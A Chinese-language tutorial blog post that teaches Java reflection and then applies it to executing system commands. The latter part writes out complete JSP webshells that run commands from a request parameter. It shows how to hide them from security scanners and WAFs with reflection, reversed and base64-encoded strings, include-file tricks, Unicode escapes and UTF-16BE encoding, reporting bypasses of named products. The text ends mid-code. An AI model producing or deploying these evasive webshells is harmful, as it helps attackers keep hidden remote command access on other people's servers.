java反射算是java学习过程中不可绕过的一关。
java 反射
反射允许运行中的Java程序获取自身的信息,并且可以操作类或对象的内部属性。
反射的核心是JVM在运行时动态加载类或调用方法或访问属性。
我们正常类加载的方式是
实现反射相关API:
- java.lang.Class 代表一个类
- java.lang.reflect.Method 代表类的方法
- java.lang.reflect.Field 代表类的成员属性
- java.lang.reflect.Constructor 代表类的构造方法
列举一个demo,User.java:
- public class User extends Person{
- private int id;
- private String username;
- private String password;
- public int age;
-
- public User(){}
- public User(int id, String username, String password, int age) {
- this.id = id;
- this.username = username;
- this.password = password;
- this.age = age;
- }
-
- public String getUsername() {
- return username;
- }
-
- public void setUsername(String username) {
- this.username = username;
- }
- private void show(String username,String password) {
- System.out.println("用户名:"+username+",密码:"+password);
- }
-
- public void study(String username) {
- System.out.println(username+"正在学习~");
- }
- @Override
- public String toString() {
- return "User{" +
- "id=" + id +
- ", username='" + username + '\'' +
- ", password='" + password + '\'' +
- ", age=" + age +
- '}';
- }
- }
Person类:
- public class Person {
- public String name;
- private int age;
-
- public Person(){}
- public Person(String name, int age) {
- this.name = name;
- this.age = age;
- }
- public Person(String name) {
- this.name = name;
- }
-
- public String getName() {
- return name;
- }
-
- public void setName(String name) {
- this.name = name;
- }
-
- public int getAge() {
- return age;
- }
-
- public void setAge(int age) {
- this.age = age;
- }
- private String show(String name) {
- //System.out.println(name+"");
- return name+"正在洗澡";
- }
- private static void teststatic(){
- System.out.println("static method start");
- }
-
- @Override
- public String toString() {
- return "Person{" +
- "name='" + name + '\'' +
- ", age=" + age +
- '}';
- }
-
- }
获取class类对象的四种方法:
- public void getclassTest(){
- //1.获取class对象
- User user1 = new User();
- Class c1 = user1.getClass();
- System.out.println("第一种"+c1);
-
- //2.通过类的方式获取
- Class c2 = User.class;
- System.out.println("第二种"+c2);
-
- //3.class.forName() 将字节码文件加载到内存
- Class c3;
- try {
- c3 = Class.forName("com.atguigu.java.User");
- System.out.println("第三种"+c3);
- } catch (ClassNotFoundException e) {
- e.printStackTrace();
- }
- //4. classLoader 类加载器
- ClassLoader classLoader = ReflectionTest.class.getClassLoader();
- Class aClass = null;
- try {
- aClass = classLoader.loadClass("com.atguigu.java.User");
- } catch (ClassNotFoundException e) {
- e.printStackTrace();
- }
- System.out.print("第四种"+aClass);
- }

获取成员属性:
- getFields() 获取所有public修饰的成员属性,包括父类
- getDeclaredFields() 获得当前类的所有属性,包括private
- public void test() throws ClassNotFoundException {
- Class c = Class.forName("com.atguigu.java.User");
- Field[] fields = c.getDeclaredFields();
- //Field[] fields = c.getFields();
- for (Field f : fields) {
- System.out.println(f);
- }
- }

获取构造方法:
- getConstructors() 获得所有public修饰的构造方法,包括父类
- getDeclaredConstructors() 获得当前类的所有构造方法,包括私有
- getDeclaredConstructor() 获得当前类指定的构造方法
- public void test() throws ClassNotFoundException {
- Class clazz = Class.forName("com.atguigu.java.User");
- Constructor[] cs = clazz.getDeclaredConstructors();
- //Constructor[] cs = clazz.getConstructors();
- for (Constructor con : cs) {
- System.out.println(con);
- }
- }

- public void test() throws ClassNotFoundException, NoSuchMethodException {
- Class clazz = Class.forName("com.atguigu.java.User");
- Constructor declaredConstructor = clazz.getDeclaredConstructor();
- Constructor declaredConstructor1 = clazz.getDeclaredConstructor(int.class, String.class, String.class, int.class);
- }
获取指定的构造方法,可以是无参构造方法,也可以是有参构造方法。
如果想要获取父类的构造方法呢?
- public void test() throws ClassNotFoundException {
- Class clazz = Class.forName("com.atguigu.java.User");
- Class superclass = clazz.getSuperclass();
- Constructor[] cs = superclass.getDeclaredConstructors();
- for (Constructor con : cs) {
- System.out.println(con);
- }
- }

获取成员方法:
- getMethods() 获取当前类和父类的所有公有的public方法,并以数组返回
- getDeclaredMethods() 只查询当前类的所有定义的方法(包含private),并以数组返回
- getDeclaredMethod() 获取某个方法,传入的第一个参数为方法名,第二个参数为方法参数
- public void test() throws ClassNotFoundException {
- Class c = Class.forName("com.atguigu.java.User");
- Method[] method = c.getDeclaredMethods();
- //Method[] method = c.getMethods();
- for (Method meth : method) {
- System.out.println(meth);
- }
- }

如果想要获取show()方法,使用getDeclaredMethod()方法,并传入方法名,以及形参。又因为该方法为private,所以设置访问权限。
注:setAccessible作用是启动和禁止访问安全检查的开关,参数为true表示反射的对象在使用时应该取消java语言访问检查,参数为false则表示反射的对象实施对java语言的访问检查。
- public void test() throws ClassNotFoundException, NoSuchMethodException {
- Class c = Class.forName("com.atguigu.java.User");
- Method[] method = c.getDeclaredMethods();
- Method show = c.getDeclaredMethod("show", String.class,String.class);
- show.setAccessible(true);
- }
调用public age属性:
- public void test() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
- Class c = Class.forName("com.atguigu.java.User");
- Field agefield = c.getField("age");
-
- User u = new User(1,"cseroad","123456",18);
- System.out.println(agefield.getInt(u));
- }
调用private username属性:
- public void test() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
- Class c = Class.forName("javase.bibi.reflection.User");
- Field usernamefield = c.getDeclaredField("username");
- usernamefield.setAccessible(true);//忽略访问权限
-
- User u = new User(1,"cseroad","123456",18);
- System.out.println(usernamefield.get(u));
- }
调用public方法:
- public void test() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
- Class c = Class.forName("com.atguigu.java.User");
- Method study = c.getDeclaredMethod("study", String.class);
- User u = new User(1,"vxeroad","123456",18);
- study.invoke(u, "cseroad");
- }

调用private方法:
- public void test() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
- Class c = Class.forName("com.atguigu.java.User");
- Method show = c.getDeclaredMethod("show", String.class, String.class);
- show.setAccessible(true);
- User u = new User(1,"vxeroad","123456",18);
- show.invoke(u, "cseroad","1q2w3e4r");
- }

上面的例子我们看到还是用new的方式来创建的对象。也可以通过反射创建对象。
- Class.newInstance() 只能够调用无参的构造方法,即默认的构造方法;要求构造方法必须是public类型的。
- Constructor.newInstance() 可以根据传入的参数,调用任意的构造方法; 特定情况下可以调用私有的构造方法。
尝试反射创建对象并调用public study() 方法:
- public void test1() throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
- // 1. 获得class对象
- Class clazz = Class.forName("com.atguigu.java.User");
- // 2. 获取无参构造器
- Constructor declaredConstructor = clazz.getDeclaredConstructor();
- // 3. Constructor.newInstance() 创建对象
- Object cseroad = declaredConstructor.newInstance();
- User user = (User) cseroad;
- // 4. 获取方法
- Method show = clazz.getDeclaredMethod("study", String.class);
- show.invoke(user, "cseroad");
- }
因为User类有两个构造方法,我们尝试用另一个有参构造器。
- public void test1() throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
- // 1. 获得class对象
- Class clazz = Class.forName("com.atguigu.java.User");
- // 2. 获取无参构造器
- Constructor declaredConstructor = clazz.getDeclaredConstructor(int.class,String.class,String.class,int.class);
- // 3. Constructor.newInstance() 创建对象
- Object cseroad = declaredConstructor.newInstance(1,"xx","xx",18);
- User user = (User) cseroad;
- // 4. 获取方法
- Method show = clazz.getDeclaredMethod("study", String.class);
- show.invoke(user,"cseroad");
- }
为了区别实参和形参,在User类的study()方法中调整为:
- public void study(String username) {
- System.out.println("我的年龄:"+age);
- System.out.println(username+"正在学习~");
- }

结论为:在newInstance创建对象的时候,对应有参构造器,传入形参。
再尝试反射创建对象并调用public show() 私有方法:
- public void test1() throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
- // 1. 获得class对象
- Class clazz = Class.forName("com.atguigu.java.User");
- // 2. 获取无参构造器
- Constructor declaredConstructor = clazz.getDeclaredConstructor(int.class,String.class,String.class,int.class);
- // 3. Constructor.newInstance() 创建对象
- Object cseroad = declaredConstructor.newInstance(1,"xx","xx",18);
- User user = (User) cseroad;
- // 4. 获取方法
- Method show = clazz.getDeclaredMethod("show", String.class,String.class);
- show.setAccessible(true);
- show.invoke(user,"cseroad","123456");
- }
我们趁热打铁,看看如何反射调用经常用到的Runtime类。
正常使用Runtime类执行系统命令为:
Process p = Runtime.getRuntime().exec("calc");
而反射过程是加载类调用方法。
首先获得Runtime类:
Class clazz = Class.forName("java.lang.Runtime");
然后看一下该类的构造器:
- Constructor[] declaredConstructors = clazz.getDeclaredConstructors();
- for(Constructor con : declaredConstructors){
- System.out.print(con);
- }

只有一个私有的无参构造器,获取该构造器并设置访问权限:
- Constructor declaredConstructor = clazz.getDeclaredConstructor();
- declaredConstructor.setAccessible(true);
有了构造器就可以创建对象:
Object o = declaredConstructor.newInstance();
然后获取指定的方法,之前也可以查看当前类的所有方法:
- Method[] declaredMethods = clazz.getDeclaredMethods();
- for(Method meth : declaredMethods){
- System.out.println(meth);
- }

可以看到exec()方法对应的都是public属性,且可以传入String类型,也可以传入String[]类型。
比如使用java.lang.String,那在getDeclaredMethod()方法后传入的第一个参数为exec()方法,第二个参数为String.class:
Method show = clazz.getDeclaredMethod("exec", String.class);
并使用invoke()方法执行exec()方法:
show.invoke(o,"touch 1.txt");
所有以上代码为:
- public void test1() throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
- // 1. 获得class对象
- Class clazz = Class.forName("java.lang.Runtime");
- // 2. 获取无参构造器
- Constructor declaredConstructor = clazz.getDeclaredConstructor();
- declaredConstructor.setAccessible(true);
- // 3. Constructor.newInstance() 创建对象
- Object o = declaredConstructor.newInstance();
- //Runtime o1 = (Runtime) o;
- // 4. 获取方法
- Method show = clazz.getDeclaredMethod("exec", String.class);
- show.invoke(o,"touch 1.txt");
- }
也可以传入String[] 类型:
- public void test1() throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
- // 1. 获得class对象
- Class clazz = Class.forName("java.lang.Runtime");
- // 2. 获取无参构造器
- Constructor declaredConstructor = clazz.getDeclaredConstructor();
- declaredConstructor.setAccessible(true);
- // 3. Constructor.newInstance() 创建对象
- Object o = declaredConstructor.newInstance();
- //强制转换Runtime
- //Runtime o1 = (Runtime) o;
- // 4. 获取方法
- String[] cmds = new String[]{"/bin/bash","-c","touch 2.txt"};
- Method show = clazz.getDeclaredMethod("exec", String[].class);
- // 强制转换为Object
- show.invoke(o,(Object) cmds);
- }
同样ProcessImpl类、ProcessBuilder类也可以反射调用执行系统命令:
- public void test1() throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
- Class clazz = Class.forName("java.lang.ProcessBuilder");
- Constructor declaredConstructor = clazz.getDeclaredConstructor(List.class);
- ArrayList
- lists.add("touch");
- lists.add("2.txt");
- Object o = declaredConstructor.newInstance(lists);
- Method start = clazz.getDeclaredMethod("start");
- start.invoke(o);
- }
-
- public void test2() throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
- Class clazz = Class.forName("java.lang.ProcessImpl");
- Constructor declaredConstructor = clazz.getDeclaredConstructor(byte[].class,byte[].class,int.class,byte[].class,int.class,byte[].class,int[].class,boolean.class,boolean.class);
- declaredConstructor.setAccessible(true);
- Method start = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
- start.setAccessible(true);
- start.invoke(null, new String[]{"/bin/bash","-c","touch 1.txt"}, null, ".", null, true);
- }
在学习了反射之后,我们再看一下执行系统命令的一些类。
也是用的最多的一种,通过Runtime类的exec方法执行系统命令。
关键代码为:
Process p = Runtime.getRuntime().exec("calc");
结合IO操作,将结果打印出来,代码为:
- public void test3() throws IOException {
- try {
- Process p = Runtime.getRuntime().exec("whoami");
- InputStream input = p.getInputStream();
- InputStreamReader ins = new InputStreamReader(input, "GBK");
- //InputStreamReader 字节流到字符流,并指定编码格式
- BufferedReader br = new BufferedReader(ins);
- //BufferedReader 从字符流读取文件并缓存字符
- String line;
- while ((line = br.readLine()) != null) {
- System.out.println(line);
- }
- br.close();
- ins.close();
- input.close();
- } catch (IOException e) {
- e.printStackTrace();
- }
- }
过程:
通过Runtime类的exec方法执行命令获取输入流getInputStream(),再InputStreamReader处理流转换为字符流,并指定gbk的编码格式。BufferedReader缓冲流读取文本到缓冲区,再通过readLine()方法打印出结果。
ProcessBuilder类通过创建系统进程执行命令。
关键代码为:
- ProcessBuilder builder = new ProcessBuilder("calc");
- Process process = builder.start();
将获取到进程中的输出信息和错误信息,通过IO流的方式的读取:
- public void test3() {
- try {
- String[] cmds = new String[]{"cmd","/c","ipconfig"};
- ProcessBuilder builder = new ProcessBuilder(cmds);
- Process process = builder.start();
- InputStream in = process.getInputStream();
- //获取输入流
- InputStreamReader ins = new InputStreamReader(in, "GBK");
- // 字节流转化为字符流,并指定编码格式
- char[] chs = new char[1024];
- int len;
- while((len = ins.read(chs)) != -1){
- System.out.println(new String(chs,0,len));//字符串类型输出
- }
- ins.close();
- in.close();
-
- } catch (IOException e) {
- e.printStackTrace();
- }
- }
过程:
通过ProcessBuilder类执行系统命令。
相比较Runtime类执行系统命令,这次试用String[]字符串数组指定程序执行的系统命令。
如果是windows,则为:
String[] cmds = new String[]{"cmd","/c","ipconfig"};
如果是linux,则为:
String[] cmds = new String[]{"/bin/bash","-c","ifconfig"};
在打印的时候字符强制转换为字符串。
Runtime和ProcessBuilder执行命令实际上调用的也是ProcessImpl类。
对于该类,没有构造方法,只有一个private类型的方法,可以通过反射调用。
关键代码为:
- Class clazz = Class.forName("java.lang.ProcessImpl");
- Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class);
- method.setAccessible(true);
- Process e = (Process) method.invoke(null, new String[]{"calc"}, null, ".", null, true);
- public void test3() throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
- //String[] cmds = new String[]{"cmd","/c","ipconfig"};
- String[] cmds = new String[]{"/bin/bash","-c","touch 3.txt"};
- Class clazz = Class.forName("java.lang.ProcessImpl");
- //获取该class类
- Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
- method.setAccessible(true);
- //忽略访问权限
- Process invoke1 = (Process) method.invoke(null, cmds, null, ".", null, true);
-
- InputStream input = invoke1.getInputStream();
- InputStreamReader ins = new InputStreamReader(input, "GBK");
- //InputStreamReader 字节流到字符流,并指定编码格式
- BufferedReader br = new BufferedReader(ins);
- //BufferedReader 从字符流读取文件并缓存字符
- String line;
- while ((line = br.readLine()) != null) {
- System.out.println(line);
- }
- br.close();
- ins.close();
- input.close();
- invoke1.getOutputStream().close();
- }
关键代码为:
- Class clazz = Class.forName("java.lang.Runtime");
- Constructor constructor = clazz.getDeclaredConstructor();
- constructor.setAccessible(true);
- Object runtimeInstance = constructor.newInstance();
- Method runtimeMethod = clazz.getMethod("exec", String.class);
- Process process = (Process) runtimeMethod.invoke(runtimeInstance, "calc");
java.lang.Runtime类的无参构造方法私有的,可以通过反射修改方法的访问权限setAccessible,强制可以访问,然后获取类构造器的方法。再通过newInstance()创建对象,反射再调用方法。
- public void test3() throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
- //String[] cmds = new String[]{"cmd","/c","ipconfig"};
- String[] cmds = new String[]{"/bin/bash","-c","touch 1.txt"};
- Class clazz = Class.forName("java.lang.Runtime");
- // 2. 获取无参构造器
- Constructor declaredConstructor = clazz.getDeclaredConstructor();
- declaredConstructor.setAccessible(true);
- // 3. Constructor.newInstance() 创建对象
- Object o = declaredConstructor.newInstance();
- //Runtime o1 = (Runtime) o;
- // 4. 获取方法
- Method show = clazz.getDeclaredMethod("exec", String[].class);
- Object invoke = show.invoke(o, (Object) cmds);
- Process invoke1 = (Process) invoke;
-
- InputStream input = invoke1.getInputStream();
- InputStreamReader ins = new InputStreamReader(input, "GBK");
- //InputStreamReader 字节流到字符流,并指定编码格式
- BufferedReader br = new BufferedReader(ins);
- //BufferedReader 从字符流读取文件并缓存字符
- String line;
- while ((line = br.readLine()) != null) {
- System.out.println(line);
- }
- br.close();
- ins.close();
- input.close();
- invoke1.getOutputStream().close();
- }
学习了java执行命令的方法,顺手也就会了jsp命令执行的webshell。
- <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
- <%@ page import="java.io.*"%>
- <%
- out.print(System.getProperty("os.name").toLowerCase());
- String cmd = request.getParameter("cmd");
- if(cmd != null){
- Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});
- InputStream input = p.getInputStream();
- InputStreamReader ins = new InputStreamReader(input, "GBK");
- BufferedReader br = new BufferedReader(ins);
- out.print("
"
); - String line;
- while((line = br.readLine()) != null) {
- out.println(line);
- }
- out.print("");
- br.close();
- ins.close();
- input.close();
- p.getOutputStream().close();
- }
- %>
以Runtime方法为例,将try语句直接移动过来。System.out.println()修改为out.println(),添加out.print("格式化输出,")
import导入所需要的包。

将脚本改成适用于windows和linux。
- <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
- <%@ page import="java.io.*"%>
- <%
- try {
- String os = System.getProperty("os.name");
- if(os.toLowerCase().startsWith("win")){
- out.print("windows");
- String cmd = request.getParameter("cmd");
- Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});
- InputStream input = p.getInputStream();
- InputStreamReader ins = new InputStreamReader(input, "GBK");
- BufferedReader br = new BufferedReader(ins);
- String line;
- out.print("
"
); - while((line = br.readLine())!=null) {
- out.println(line);
- }
- out.print("");
- br.close();
- ins.close();
- input.close();
- p.getOutputStream().close();
- }else{
- out.print("Linux");
- InputStream in = Runtime.getRuntime().exec(request.getParameter("shell")).getInputStream();
- InputStreamReader ins = new InputStreamReader(in);
- char[] chs = new char[1024];
- int len;
- out.print("
"
); - while((len = ins.read(chs)) != -1){
- System.out.println(new String(chs,0,len));
- }
- out.print("");
- }
- }
- catch (IOException e) {
- e.printStackTrace();
- }
- %>
php的一句话木马即可以直接命令执行又可以作为冰蝎、蚁剑的客户端,而java就显得比较复杂。
我们从经典的Runtime类来测试:
- <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
- <%@ page import="java.io.*"%>
- <%
- out.print(System.getProperty("os.name").toLowerCase());
- String cmd = request.getParameter("cmd");
- if(cmd != null){
- Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});
- InputStream input = p.getInputStream();
- InputStreamReader ins = new InputStreamReader(input, "GBK");
- BufferedReader br = new BufferedReader(ins);
- out.print("
"
); - String line;
- while((line = br.readLine()) != null) {
- out.println(line);
- }
- out.print("");
- br.close();
- ins.close();
- input.close();
- p.getOutputStream().close();
- }
- %>
该文件有着明显的exec危险代码。

利用反射来免杀webshell是常用技术之一。
- <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
- <%@ page import="java.io.*"%>
- <%@ page import="java.lang.reflect.Constructor" %>
- <%@ page import="java.lang.reflect.Method" %>
- <%
- out.print(System.getProperty("os.name").toLowerCase());
- String cmd = request.getParameter("cmd");
- if(cmd != null){
- Class clazz = Class.forName("java.lang.Runtime");
- Constructor declaredConstructor = clazz.getDeclaredConstructor();
- declaredConstructor.setAccessible(true);
- Object o = declaredConstructor.newInstance();
- Method show = clazz.getDeclaredMethod("exec", String[].class);
- String[] cmds = new String[]{"cmd.exe","/c",cmd};
- Object invoke = show.invoke(o,(Object)cmds);
- Process p = (Process) invoke;
- InputStream input = p.getInputStream();
- InputStreamReader ins = new InputStreamReader(input, "GBK");
- BufferedReader br = new BufferedReader(ins);
- out.print("
"
); - String line;
- while((line = br.readLine()) != null) {
- out.println(line);
- }
- out.print("");
- br.close();
- ins.close();
- input.close();
- p.getOutputStream().close();
- }
- %>
还可以通过base64编码的方式将关键字符串java.lang.Runtime编码起来。
- String a = new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="));
- System.out.println(a);
又或者创建一个方法来反转字符串。
- <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
- <%@ page import="java.io.*"%>
- <%@ page import="java.lang.reflect.Constructor" %>
- <%@ page import="java.lang.reflect.Method" %>
- <%!public static String reverseStr(String str){return new StringBuilder(str).reverse().toString();}%>
- <%
- out.print(System.getProperty("os.name").toLowerCase());
- String cmd = request.getParameter("cmd");
- if(cmd != null){
- Class clazz = Class.forName(reverseStr("emitnuR.gnal.avaj"));
- Constructor declaredConstructor = clazz.getDeclaredConstructor();
- declaredConstructor.setAccessible(true);
- Object o = declaredConstructor.newInstance();
- Method show = clazz.getDeclaredMethod(reverseStr("cexe"), String[].class);
- String[] cmds = new String[]{"cmd.exe","/c",cmd};
- Object invoke = show.invoke(o,(Object)cmds);
- Process p = (Process) invoke;
- InputStream input = p.getInputStream();
- InputStreamReader ins = new InputStreamReader(input, "GBK");
- BufferedReader br = new BufferedReader(ins);
- out.print("
"
); - String line;
- while((line = br.readLine()) != null) {
- out.println(line);
- }
- out.print("");
- br.close();
- ins.close();
- input.close();
- p.getOutputStream().close();
- }
- %>
Java Web 里有一个include指令,可以将外部文件嵌入到当前jsp语句中,并同时解析页面的jsp语句。
- <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
- <%@ page import="java.io.*"%>
- <%@ page import="java.lang.reflect.Constructor" %>
- <%@ page import="java.lang.reflect.Method" %>
- <%@ include file = "1.jpg" %>
1. jpg 编写恶意代码:
- <%
- out.print(System.getProperty("os.name").toLowerCase());
- String cmd = request.getParameter("cmd");
- if(cmd != null){
- Class clazz = Class.forName("java.lang.Runtime");
- Constructor declaredConstructor = clazz.getDeclaredConstructor();
- declaredConstructor.setAccessible(true);
- Object o = declaredConstructor.newInstance();
- Method show = clazz.getDeclaredMethod("exec", String[].class);
- String[] cmds = new String[]{"cmd.exe","/c",cmd};
- Object invoke = show.invoke(o,(Object)cmds);
- Process p = (Process) invoke;
- InputStream input = p.getInputStream();
- InputStreamReader ins = new InputStreamReader(input, "GBK");
- BufferedReader br = new BufferedReader(ins);
- out.print("
"
); - String line;
- while((line = br.readLine()) != null) {
- out.println(line);
- }
- out.print("");
- br.close();
- ins.close();
- input.close();
- p.getOutputStream().close();
- }
- %>
访问也是可以正常执行命令。

因为安全狗、D盾主要查杀Runtime.getRuntime().exec(),在使用include的情况下可以绕过D盾无法绕过安全狗。当再次利用反射机制就可以成功绕过。

Java 程序可以自动识别Unicode编码,所以我们可以将java源代码除了page指令的代码外,全部编码。
先在网上查找一个字符串与Unicode编码相互转换的类:
- public void convert(String str) {
- str = (str == null ? "" : str);
- String tmp;
- StringBuffer sb = new StringBuffer(1000);
- char c;
- int i, j;
- sb.setLength(0);
- for (i = 0; i < str.length(); i++) {
- c = str.charAt(i);
- sb.append("\\u");
- j = (c >>> 8); //取出高8位
- tmp = Integer.toHexString(j);
- if (tmp.length() == 1)
- sb.append("0");
- sb.append(tmp);
- j = (c & 0xFF); //取出低8位
- tmp = Integer.toHexString(j);
- if (tmp.length() == 1)
- sb.append("0");
- sb.append(tmp);
-
- }
- System.out.print(new String(sb));
- }
再创建一个方法,通过读取文本文件的方式调用convert()方法将上面的命令执行的代码编码:
- public void test2() throws IOException {
- File srcfile = new File("a.txt");
- FileReader fileReader = new FileReader(srcfile);
- BufferedReader bufferedReader = new BufferedReader(fileReader);
- String s;
- while ((s = bufferedReader.readLine()) != null) {
- convert(s);
- System.out.print("\r\n");
- }
- }
运行后得到Unicode编码后的代码,再把原来page指令声明上即可。
- <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
- <%@ page import="java.io.*"%>
-
- <%
- \u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u0028\u0053\u0079\u0073\u0074\u0065\u006d\u002e\u0067\u0065\u0074\u0050\u0072\u006f\u0070\u0065\u0072\u0074\u0079\u0028\u0022\u006f\u0073\u002e\u006e\u0061\u006d\u0065\u0022\u0029\u002e\u0074\u006f\u004c\u006f\u0077\u0065\u0072\u0043\u0061\u0073\u0065\u0028\u0029\u0029\u003b
- \u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0020\u0063\u006d\u0064\u0020\u003d\u0020\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0063\u006d\u0064\u0022\u0029\u003b
- \u0069\u0066\u0028\u0063\u006d\u0064\u0020\u0021\u003d\u0020\u006e\u0075\u006c\u006c\u0029\u007b
- \u0020\u0020\u0020\u0020\u0050\u0072\u006f\u0063\u0065\u0073\u0073\u0020\u0070\u0020\u003d\u0020\u0020\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u006e\u0065\u0077\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u005b\u005d\u007b\u0022\u0063\u006d\u0064\u002e\u0065\u0078\u0065\u0022\u002c\u0022\u002f\u0063\u0022\u002c\u0063\u006d\u0064\u007d\u0029\u003b
- \u0020\u0020\u0020\u0020\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0069\u006e\u0070\u0075\u0074\u0020\u003d\u0020\u0070\u002e\u0067\u0065\u0074\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u003b
- \u0020\u0020\u0020\u0020\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0052\u0065\u0061\u0064\u0065\u0072\u0020\u0069\u006e\u0073\u0020\u003d\u0020\u006e\u0065\u0077\u0020\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0052\u0065\u0061\u0064\u0065\u0072\u0028\u0069\u006e\u0070\u0075\u0074\u002c\u0020\u0022\u0047\u0042\u004b\u0022\u0029\u003b
- \u0020\u0020\u0020\u0020\u0042\u0075\u0066\u0066\u0065\u0072\u0065\u0064\u0052\u0065\u0061\u0064\u0065\u0072\u0020\u0062\u0072\u0020\u003d\u0020\u006e\u0065\u0077\u0020\u0042\u0075\u0066\u0066\u0065\u0072\u0065\u0064\u0052\u0065\u0061\u0064\u0065\u0072\u0028\u0069\u006e\u0073\u0029\u003b
- \u0020\u0020\u0020\u0020\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u0028\u0022\u003c\u0070\u0072\u0065\u003e\u0022\u0029\u003b
- \u0020\u0020\u0020\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u006c\u0069\u006e\u0065\u003b
- \u0020\u0020\u0020\u0020\u0077\u0068\u0069\u006c\u0065\u0028\u0028\u006c\u0069\u006e\u0065\u0020\u003d\u0020\u0062\u0072\u002e\u0072\u0065\u0061\u0064\u004c\u0069\u006e\u0065\u0028\u0029\u0029\u0020\u0021\u003d\u0020\u006e\u0075\u006c\u006c\u0029\u0020\u007b
- \u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e\u0028\u006c\u0069\u006e\u0065\u0029\u003b
- \u0020\u0020\u0020\u0020\u007d
- \u0020\u0020\u0020\u0020\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u0028\u0022\u003c\u002f\u0070\u0072\u0065\u003e\u0022\u0029\u003b
- \u0020\u0020\u0020\u0020\u0062\u0072\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b
- \u0020\u0020\u0020\u0020\u0069\u006e\u0073\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b
- \u0020\u0020\u0020\u0020\u0069\u006e\u0070\u0075\u0074\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b
- \u0020\u0020\u0020\u0020\u0070\u002e\u0067\u0065\u0074\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b
- \u007d
- %>

D盾依然可以查杀,安全狗顺利绕过。
那么Unicode 编码还能怎么处理呢?Unicode编码的关键点在于以'\u'开头表明和unicode编码相关。
可以将'u'重复声明,即'\uuuuuuu':
- <%
- out.println("\uuuuuu006f\uuuuuuuuuuuuuuuuuu0075\uuu0074");
- %>
将上面代码稍做调整:
sb.append("\\uuuuu");
再次生成webshell,可成功绕过D盾。

java 同样支持其他编码格式:
- import chardet
- import codecs
-
- filename_in = 'webshell.txt'
- filename_out = 'utf-16be_es.jsp'
-
- with codecs.open(filename=filename_in, mode='r', encoding='utf-8') as fi:
- data = fi.read()
- with open(filename_out, mode='w') as fo:
- fo.write('<%@ page contentType="charset=utf-16be" %>')
- fo.write(data.encode('utf-16be'))
- fo.close()
如 utf-16be 编码方式。

在绕过某些WAF时,WAF可能会检测jsp标签、客户端传入的参数以及威胁命令。
对应jsp标签<%%>,可以使用代替,且不需要import导入,定义完整的类名。
- out.print(System.getProperty("os.name").toLowerCase());
- String cmd = request.getParameter("cmd");
- if(cmd != null){
- Class clazz = Class.forName("java.lang.Runtime");
- java.lang.reflect.Constructor declaredConstructor = clazz.getDeclaredConstructor();
- declaredConstructor.setAccessible(true);
- Object o = declaredConstructor.newInstance();
- java.lang.reflect.Method show = clazz.getDeclaredMethod("exec", String[].class);
- String[] cmds = new String[]{"cmd.exe","/c",cmd};
- Object invoke = show.invoke(o,(Object)cmds);
- Process p = (Process) invoke;
- java.io.InputStream input = p.getInputStream();
- java.io.InputStreamReader ins = new java.io.InputStreamReader(input, "GBK");
